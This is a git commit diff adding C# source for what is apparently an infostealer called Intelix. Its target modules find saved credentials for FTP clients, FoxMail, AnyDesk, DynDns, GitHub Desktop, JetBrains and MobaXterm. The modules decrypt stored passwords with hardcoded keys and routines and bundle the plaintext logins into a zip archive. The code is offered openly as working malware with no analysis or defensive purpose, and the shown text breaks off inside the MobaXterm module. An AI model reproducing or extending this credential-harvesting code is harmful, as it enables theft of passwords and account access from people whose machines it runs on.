initial commit
This commit is contained in:
i2p
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,21 @@
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class AnyDesk : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\ProgramData\\AnyDesk\\service.conf";
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string text2 = "AnyDesk\\service.conf";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "AnyDesk";
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class CoreFtp : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "CoreFTP";
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\FTPWare\\COREFTP\\Sites");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
List<string> list = new List<string>();
|
||||
foreach (string item in from n in registryKey.GetSubKeyNames()
|
||||
orderby n
|
||||
select n)
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey2 = registryKey.OpenSubKey(item);
|
||||
if (registryKey2 != null)
|
||||
{
|
||||
object value = registryKey2.GetValue("Host");
|
||||
object value2 = registryKey2.GetValue("User");
|
||||
object value3 = registryKey2.GetValue("PW");
|
||||
if (value != null)
|
||||
{
|
||||
string text = (value as string) ?? value.ToString();
|
||||
string text2 = (value2 as string) ?? value2?.ToString() ?? "";
|
||||
string text3 = DecryptCoreFtpPassword((value3 as string) ?? value3?.ToString() ?? "");
|
||||
list.Add("Url: " + text + ":21\nUsername: " + text2 + "\nPassword: " + text3 + "\n");
|
||||
counterApplications.Files.Add(registryKey2.Name ?? "");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
zip.AddFile("FTP/CoreFTP/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private static string DecryptCoreFtpPassword(string hexCipher)
|
||||
{
|
||||
byte[] bytes = Encoding.ASCII.GetBytes("hdfzpysvpzimorhk");
|
||||
byte[] iV = new byte[16];
|
||||
byte[] array = HexToBytes(hexCipher);
|
||||
using Aes aes = Aes.Create();
|
||||
aes.KeySize = 128;
|
||||
aes.BlockSize = 128;
|
||||
aes.Key = bytes;
|
||||
aes.IV = iV;
|
||||
aes.Mode = CipherMode.ECB;
|
||||
aes.Padding = PaddingMode.Zeros;
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using ICryptoTransform transform = aes.CreateDecryptor();
|
||||
using CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
|
||||
cryptoStream.Write(array, 0, array.Length);
|
||||
cryptoStream.FlushFinalBlock();
|
||||
return Encoding.UTF8.GetString(memoryStream.ToArray());
|
||||
}
|
||||
|
||||
private static byte[] HexToBytes(string hex)
|
||||
{
|
||||
int num = hex.Length / 2;
|
||||
byte[] array = new byte[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class CyberDuck : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Cyberduck", "Profiles");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "CyberDuck";
|
||||
string[] files = Directory.GetFiles(path);
|
||||
foreach (string text in files)
|
||||
{
|
||||
if (text.EndsWith(".cyberduckprofile"))
|
||||
{
|
||||
string text2 = "FTP/CyberDuck/" + Path.GetFileName(text);
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
}
|
||||
}
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class DynDns : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\ProgramData\\Dyn\\Updater\\config.dyndns";
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string[] array = File.ReadAllLines(text);
|
||||
if (array.Length != 0)
|
||||
{
|
||||
string text2 = "Dyn\\Passwords.txt";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Dyn";
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
zip.AddTextFile(text2, "UserName: " + array[1].Substring(9) + "\r\nPassword: " + DecryptDynDns(array[2].Substring(9)));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private string DecryptDynDns(string encrypted)
|
||||
{
|
||||
string text = string.Empty;
|
||||
for (int i = 0; i < encrypted.Length; i += 2)
|
||||
{
|
||||
text += (char)int.Parse(encrypted.Substring(i, 2), NumberStyles.HexNumber);
|
||||
}
|
||||
char[] array = text.ToCharArray();
|
||||
char[] array2 = new char[text.Length];
|
||||
for (int j = 0; j < array2.Length; j++)
|
||||
{
|
||||
try
|
||||
{
|
||||
int num = 0;
|
||||
array2[j] = (char)(array[j] ^ Convert.ToChar("t6KzXhCh".Substring(num, 1)));
|
||||
num = (num + 1) % 8;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
return new string(array2);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FTPCommander : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string[] obj = new string[5]
|
||||
{
|
||||
"C:\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt",
|
||||
"C:\\Program Files (x86)\\FTP Commander\\Ftplist.txt",
|
||||
"C:\\cftp\\Ftplist.txt",
|
||||
"C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander\\Ftplist.txt",
|
||||
"C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt"
|
||||
};
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications
|
||||
{
|
||||
Name = "FTPCommander"
|
||||
};
|
||||
List<string> list = new List<string>();
|
||||
string[] array = obj;
|
||||
foreach (string text in array)
|
||||
{
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] array2 = File.ReadAllLines(text);
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(text2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] array3 = text2.Split(';');
|
||||
if (array3.Length >= 6)
|
||||
{
|
||||
string text3 = array3[1].Split('=')[1];
|
||||
string text4 = array3[2].Split('=')[1];
|
||||
string input = array3[3].Split('=')[1];
|
||||
string text5 = array3[4].Split('=')[1];
|
||||
if (!(array3[5].Split('=')[1] != "0"))
|
||||
{
|
||||
string text6 = Xor.DecryptString(input, 25);
|
||||
list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n");
|
||||
string text7 = "FTP/FTPCommander/Hosts.txt";
|
||||
counterApplications.Files.Add(text + " => " + text7);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
string text8 = "FTP/FTPCommander/Hosts.txt";
|
||||
zip.AddFile(text8, Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counterApplications.Files.Add(text8 ?? "");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FTPGetter : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\FTPGetter\\servers.xml";
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string input = File.ReadAllText(text, Encoding.UTF8);
|
||||
Regex regex = new Regex("<server\\b[^>]*>(.*?)</server>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex2 = new Regex("<server_ip>\\s*(?<v>.*?)\\s*</server_ip>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex3 = new Regex("<server_port>\\s*(?<v>\\d+)\\s*</server_port>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex4 = new Regex("<server_user_name>\\s*(?<v>.*?)\\s*</server_user_name>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex5 = new Regex("<server_user_password>\\s*(?<v>.*?)\\s*</server_user_password>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
List<string> list = new List<string>();
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications
|
||||
{
|
||||
Name = "FTPGetter"
|
||||
};
|
||||
foreach (Match item in regex.Matches(input))
|
||||
{
|
||||
string value = item.Groups[1].Value;
|
||||
Match match = regex2.Match(value);
|
||||
if (match.Success)
|
||||
{
|
||||
string text2 = match.Groups["v"].Value.Trim();
|
||||
Match match2 = regex3.Match(value);
|
||||
string text3 = (match2.Success ? match2.Groups["v"].Value.Trim() : "21");
|
||||
Match match3 = regex4.Match(value);
|
||||
string text4 = (match3.Success ? match3.Groups["v"].Value.Trim() : "");
|
||||
Match match4 = regex5.Match(value);
|
||||
string text5 = (match4.Success ? match4.Groups["v"].Value.Trim() : "");
|
||||
list.Add("Url: " + text2 + ":" + (string.IsNullOrEmpty(text3) ? "21" : text3) + "\nUsername: " + text4 + "\nPassword: " + text5 + "\n");
|
||||
counterApplications.Files.Add(text + " => FTP/FTPGetter/Hosts.txt");
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
zip.AddFile("FTP/FTPGetter/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counterApplications.Files.Add("FTP/FTPGetter/Hosts.txt");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FTPNavigator : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\FTP Navigator\\Ftplist.txt";
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] array = File.ReadAllLines(text);
|
||||
List<string> list = new List<string>();
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications
|
||||
{
|
||||
Name = "FTP Navigator"
|
||||
};
|
||||
string[] array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(text2))
|
||||
{
|
||||
string[] array3 = text2.Split(';');
|
||||
string text3 = array3[1].Split('=')[1];
|
||||
string text4 = array3[2].Split('=')[1];
|
||||
string input = array3[3].Split('=')[1];
|
||||
string text5 = array3[4].Split('=')[1];
|
||||
if (!(array3[5].Split('=')[1] != "0"))
|
||||
{
|
||||
string text6 = Xor.DecryptString(input, 25);
|
||||
list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n");
|
||||
counterApplications.Files.Add(text + " => FTP/FTPNavigator/Hosts.txt");
|
||||
}
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
string text7 = "FTP/FTPNavigator/Hosts.txt";
|
||||
zip.AddFile(text7, Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counterApplications.Files.Add(text7);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FTPRush : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\Users\\" + Environment.UserName + "\\Documents\\FTPRush\\site.json";
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string input = File.ReadAllText(text);
|
||||
Regex regex = new Regex("\"Server\"\\s*:\\s*\\{(.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
Regex regex2 = new Regex("\"Host\"\\s*:\\s*\"(?<host>[^\"]*)\"", RegexOptions.IgnoreCase);
|
||||
Regex regex3 = new Regex("\"Port\"\\s*:\\s*(?<port>\\d+)", RegexOptions.IgnoreCase);
|
||||
Regex regex4 = new Regex("\"Username\"\\s*:\\s*\"(?<user>[^\"]*)\"", RegexOptions.IgnoreCase);
|
||||
Regex regex5 = new Regex("\"Base64Password\"\\s*:\\s*\"(?<b64>[^\"]*)\"", RegexOptions.IgnoreCase);
|
||||
List<string> list = new List<string>();
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications
|
||||
{
|
||||
Name = "FTPRush"
|
||||
};
|
||||
foreach (Match item in regex.Matches(input))
|
||||
{
|
||||
string value = item.Groups[1].Value;
|
||||
Match match = regex2.Match(value);
|
||||
if (!match.Success)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string value2 = match.Groups["host"].Value;
|
||||
Match match2 = regex3.Match(value);
|
||||
string text2 = (match2.Success ? match2.Groups["port"].Value : "21");
|
||||
Match match3 = regex4.Match(value);
|
||||
string text3 = (match3.Success ? match3.Groups["user"].Value : "");
|
||||
Match match4 = regex5.Match(value);
|
||||
string text4 = "";
|
||||
if (match4.Success && !string.IsNullOrEmpty(match4.Groups["b64"].Value))
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Convert.FromBase64String(match4.Groups["b64"].Value);
|
||||
text4 = Encoding.UTF8.GetString(bytes);
|
||||
}
|
||||
catch
|
||||
{
|
||||
text4 = "";
|
||||
}
|
||||
}
|
||||
list.Add("Url: " + value2 + ":" + text2 + "\nUsername: " + text3 + "\nPassword: " + text4 + "\n");
|
||||
counterApplications.Files.Add(text + " => FTP/FTPRush/Hosts.txt");
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
string text5 = "FTP/FTPRush/Hosts.txt";
|
||||
zip.AddFile(text5, Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counterApplications.Files.Add(text5);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FileZilla : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\";
|
||||
string[] array = new string[2]
|
||||
{
|
||||
text + "recentservers.xml",
|
||||
text + "sitemanager.xml"
|
||||
};
|
||||
if (!File.Exists(array[0]) && !File.Exists(array[1]))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "FileZilla";
|
||||
List<string> list = new List<string>();
|
||||
string[] array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
if (!File.Exists(text2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
XmlDocument xmlDocument = new XmlDocument();
|
||||
xmlDocument.Load(text2);
|
||||
foreach (XmlNode item in xmlDocument.GetElementsByTagName("Server"))
|
||||
{
|
||||
string text3 = item?["Pass"]?.InnerText;
|
||||
if (!string.IsNullOrEmpty(text3))
|
||||
{
|
||||
string text4 = "ftp://" + item["Host"]?.InnerText + ":" + item["Port"]?.InnerText + "/";
|
||||
string text5 = item["User"]?.InnerText;
|
||||
string text6 = Encoding.UTF8.GetString(Convert.FromBase64String(text3));
|
||||
list.Add("Url: " + text4 + "\nUsername: " + text5 + "\nPassword: " + text6);
|
||||
}
|
||||
}
|
||||
string text7 = "FTP/FileZilla/" + Path.GetFileName(text2);
|
||||
zip.AddFile(text7, File.ReadAllBytes(text2));
|
||||
counterApplications.Files.Add(text2 + " => " + text7);
|
||||
}
|
||||
string text8 = "FTP/FileZilla/Hosts.txt";
|
||||
counterApplications.Files.Add(text8 ?? "");
|
||||
zip.AddTextFile(text8, string.Join("\n\n", list.ToArray()));
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class FoxMail : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string text = registryKey.GetValue("") as string;
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
int num = text.LastIndexOf("Foxmail.exe", StringComparison.OrdinalIgnoreCase);
|
||||
if (num < 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string path = Path.Combine(text.Substring(0, num).Replace("\"", "").TrimEnd('\\', ' '), "Storage");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "FoxMail";
|
||||
string[] directories = Directory.GetDirectories(path, "*@*", SearchOption.TopDirectoryOnly);
|
||||
foreach (string text2 in directories)
|
||||
{
|
||||
string fileName = Path.GetFileName(text2);
|
||||
string text3 = Path.Combine(text2, "Accounts");
|
||||
if (!Directory.Exists(text3))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string text4 = Path.Combine(text3, "Account.rec0");
|
||||
if (File.Exists(text4))
|
||||
{
|
||||
string text5 = Path.Combine(Path.GetTempPath(), $"Account_{Guid.NewGuid():N}.rec");
|
||||
File.Copy(text4, text5, overwrite: true);
|
||||
bool found;
|
||||
int ver;
|
||||
string text6 = ParseSecretFileAndGetPassword(text5, out found, out ver);
|
||||
if (found)
|
||||
{
|
||||
string text7 = "Foxmail\\" + fileName + "\\Account.txt";
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("E-Mail: " + fileName);
|
||||
stringBuilder.AppendLine("Password: " + text6);
|
||||
stringBuilder.AppendLine("FoxmailVersionDetected: " + ((ver == 0) ? "6.x" : "7.x or later"));
|
||||
zip.AddTextFile(text7, stringBuilder.ToString());
|
||||
counterApplications.Files.Add(text4 + " => " + text7);
|
||||
}
|
||||
else
|
||||
{
|
||||
string text8 = "Foxmail\\" + fileName + "\\Account.rec0";
|
||||
zip.AddFile(text8, File.ReadAllBytes(text4));
|
||||
counterApplications.Files.Add(text4 + " => " + text8);
|
||||
}
|
||||
File.Delete(text5);
|
||||
}
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private string ParseSecretFileAndGetPassword(string path, out bool found, out int ver)
|
||||
{
|
||||
found = false;
|
||||
ver = 1;
|
||||
byte[] array = File.ReadAllBytes(path);
|
||||
if (array == null || array.Length == 0)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
if (array[0] == 208)
|
||||
{
|
||||
ver = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
ver = 1;
|
||||
}
|
||||
string text = "";
|
||||
string value = "";
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
byte b = array[i];
|
||||
if (b > 32 && b < 127 && b != 61)
|
||||
{
|
||||
string text2 = text;
|
||||
char c = (char)b;
|
||||
text = text2 + c;
|
||||
if (text.Equals("Account", StringComparison.Ordinal))
|
||||
{
|
||||
value = ReadAsciiValue(array, ref i, ver);
|
||||
text = "";
|
||||
}
|
||||
else if (text.Equals("POP3Account", StringComparison.Ordinal))
|
||||
{
|
||||
value = ReadAsciiValue(array, ref i, ver);
|
||||
text = "";
|
||||
}
|
||||
else if ((text.Equals("Password", StringComparison.Ordinal) || text.Equals("POP3Password", StringComparison.Ordinal)) && !string.IsNullOrEmpty(value))
|
||||
{
|
||||
string strHash = ReadAsciiValue(array, ref i, ver);
|
||||
string result = DecodePW(ver, strHash);
|
||||
found = true;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
text = "";
|
||||
}
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
private string ReadAsciiValue(byte[] bits, ref int jx, int ver)
|
||||
{
|
||||
int i = jx + 9;
|
||||
if (ver == 0)
|
||||
{
|
||||
i = jx + 2;
|
||||
}
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (; i < bits.Length && bits[i] > 32 && bits[i] < 127; i++)
|
||||
{
|
||||
stringBuilder.Append((char)bits[i]);
|
||||
}
|
||||
jx = i;
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
private string DecodePW(int ver, string strHash)
|
||||
{
|
||||
string text = string.Empty;
|
||||
int[] array;
|
||||
int num;
|
||||
if (ver == 0)
|
||||
{
|
||||
array = new int[8] { 126, 100, 114, 97, 71, 111, 110, 126 };
|
||||
num = Convert.ToInt32("5A", 16);
|
||||
}
|
||||
else
|
||||
{
|
||||
array = new int[8] { 126, 70, 64, 55, 37, 109, 36, 126 };
|
||||
num = Convert.ToInt32("71", 16);
|
||||
}
|
||||
int num2 = strHash.Length / 2;
|
||||
int num3 = 0;
|
||||
int[] array2 = new int[num2];
|
||||
for (int i = 0; i < num2; i++)
|
||||
{
|
||||
array2[i] = Convert.ToInt32(strHash.Substring(num3, 2), 16);
|
||||
num3 += 2;
|
||||
}
|
||||
int[] array3 = new int[array2.Length];
|
||||
array3[0] = array2[0] ^ num;
|
||||
if (array2.Length > 1)
|
||||
{
|
||||
Array.Copy(array2, 1, array3, 1, array2.Length - 1);
|
||||
}
|
||||
while (array2.Length > array.Length)
|
||||
{
|
||||
int[] array4 = new int[array.Length * 2];
|
||||
Array.Copy(array, 0, array4, 0, array.Length);
|
||||
Array.Copy(array, 0, array4, array.Length, array.Length);
|
||||
array = array4;
|
||||
}
|
||||
int[] array5 = new int[array2.Length];
|
||||
for (int j = 1; j < array2.Length; j++)
|
||||
{
|
||||
array5[j - 1] = array2[j] ^ array[j - 1];
|
||||
}
|
||||
int[] array6 = new int[array5.Length];
|
||||
for (int k = 0; k < array5.Length - 1; k++)
|
||||
{
|
||||
if (array5[k] - array3[k] < 0)
|
||||
{
|
||||
array6[k] = array5[k] + 255 - array3[k];
|
||||
}
|
||||
else
|
||||
{
|
||||
array6[k] = array5[k] - array3[k];
|
||||
}
|
||||
text += (char)array6[k];
|
||||
}
|
||||
return text;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class GithubGui : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\GitHub Desktop\\Local Storage\\leveldb\\";
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "GithubGui";
|
||||
string[] allowedExtensions = new string[2] { ".log", ".ldb" };
|
||||
Parallel.ForEach(Directory.GetFiles(path), delegate(string file)
|
||||
{
|
||||
if (allowedExtensions.Contains(Path.GetExtension(file)))
|
||||
{
|
||||
string text3 = "GithubGui\\leveldb\\" + Path.GetFileName(file);
|
||||
zip.AddFile(text3, File.ReadAllBytes(file));
|
||||
counterApplications.Files.Add(file + " => " + text3);
|
||||
}
|
||||
});
|
||||
string text = "C:\\Users\\" + Environment.UserName + "\\.gitconfig";
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string text2 = "GithubGui\\.gitconfig";
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
}
|
||||
if (counterApplications.Files.Count() > 0)
|
||||
{
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class JetBrains : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "JetBrains");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] allowedExtensions = new string[2] { ".key", ".license" };
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "JetBrains";
|
||||
Parallel.ForEach(Directory.GetDirectories(path), delegate(string apps)
|
||||
{
|
||||
Parallel.ForEach(Directory.GetFiles(apps), delegate(string file)
|
||||
{
|
||||
if (allowedExtensions.Contains(Path.GetExtension(file)))
|
||||
{
|
||||
string text = "JetBrains\\" + Path.GetFileName(apps) + "\\" + Path.GetFileName(file);
|
||||
zip.AddFile(text, File.ReadAllBytes(file));
|
||||
counterApplications.Files.Add(file + " => " + text);
|
||||
}
|
||||
});
|
||||
});
|
||||
if (counterApplications.Files.Count() > 0)
|
||||
{
|
||||
counterApplications.Files.Add("JetBrains\\");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class MobaXterm : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string entropy = (string)Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm").GetValue("SessionP");
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm\\m");
|
||||
string name = registryKey.GetValueNames()[0];
|
||||
string base64Value = (string)registryKey.GetValue(name);
|
||||
byte[] key = DecryptMobaXtermMasterKey(base64Value, entropy);
|
||||
RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm\\C");
|
||||
